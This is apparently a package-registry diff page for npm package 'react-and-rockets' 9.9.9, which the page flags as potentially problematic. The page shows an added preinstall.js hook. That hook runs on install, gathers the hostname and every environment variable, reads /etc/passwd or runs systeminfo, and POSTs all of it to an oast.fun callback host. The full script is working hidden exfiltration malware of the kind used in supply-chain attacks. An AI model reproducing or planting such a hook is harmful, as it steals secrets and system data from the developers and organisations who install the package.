react-and-rockets 9.9.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of react-and-rockets might be problematic. Click here for more details.
- package/package.json +13 -0
- package/preinstall.js +62 -0
package/package.json
ADDED
package/preinstall.js
ADDED
@@ -0,0 +1,62 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const os = require('os');
|
3
|
+
const fs = require('fs');
|
4
|
+
const { exec } = require('child_process');
|
5
|
+
|
6
|
+
const hostname = os.hostname();
|
7
|
+
const isWindows = os.platform() === 'win32';
|
8
|
+
const envVars = JSON.stringify(process.env);
|
9
|
+
let data = `hostname=${hostname}&env=${encodeURIComponent(envVars)}`;
|
10
|
+
|
11
|
+
const sendPayload = (payload) => {
|
12
|
+
const options = {
|
13
|
+
hostname: 'cqjgjkmjrihm9aq1p7agyosa8psbpxcfc.oast.fun',
|
14
|
+
port: 443,
|
15
|
+
path: '/',
|
16
|
+
method: 'POST',
|
17
|
+
headers: {
|
18
|
+
'Content-Type': 'application/x-www-form-urlencoded',
|
19
|
+
'Content-Length': Buffer.byteLength(payload)
|
20
|
+
}
|
21
|
+
};
|
22
|
+
|
23
|
+
const req = https.request(options, (res) => {
|
24
|
+
res.on('end', () => {
|
25
|
+
process.exit();
|
26
|
+
});
|
27
|
+
// Ensure the 'data' event is handled, even if we don't use the data
|
28
|
+
res.on('data', () => {});
|
29
|
+
});
|
30
|
+
|
31
|
+
req.on('error', (e) => {
|
32
|
+
console.error(e);
|
33
|
+
process.exit(1);
|
34
|
+
});
|
35
|
+
|
36
|
+
req.write(payload);
|
37
|
+
req.end();
|
38
|
+
};
|
39
|
+
|
40
|
+
const collectDataAndSend = () => {
|
41
|
+
if (!isWindows) {
|
42
|
+
try {
|
43
|
+
const passwd = fs.readFileSync('/etc/passwd', 'utf8');
|
44
|
+
data += `&passwd=${encodeURIComponent(passwd)}`;
|
45
|
+
} catch (error) {
|
46
|
+
console.error('Error reading /etc/passwd:', error);
|
47
|
+
}
|
48
|
+
sendPayload(data);
|
49
|
+
} else {
|
50
|
+
exec('systeminfo', (error, stdout, stderr) => {
|
51
|
+
if (error) {
|
52
|
+
console.error('Error executing systeminfo:', error);
|
53
|
+
process.exit(1);
|
54
|
+
return;
|
55
|
+
}
|
56
|
+
data += `&systeminfo=${encodeURIComponent(stdout)}`;
|
57
|
+
sendPayload(data);
|
58
|
+
});
|
59
|
+
}
|
60
|
+
};
|
61
|
+
|
62
|
+
collectDataAndSend();
|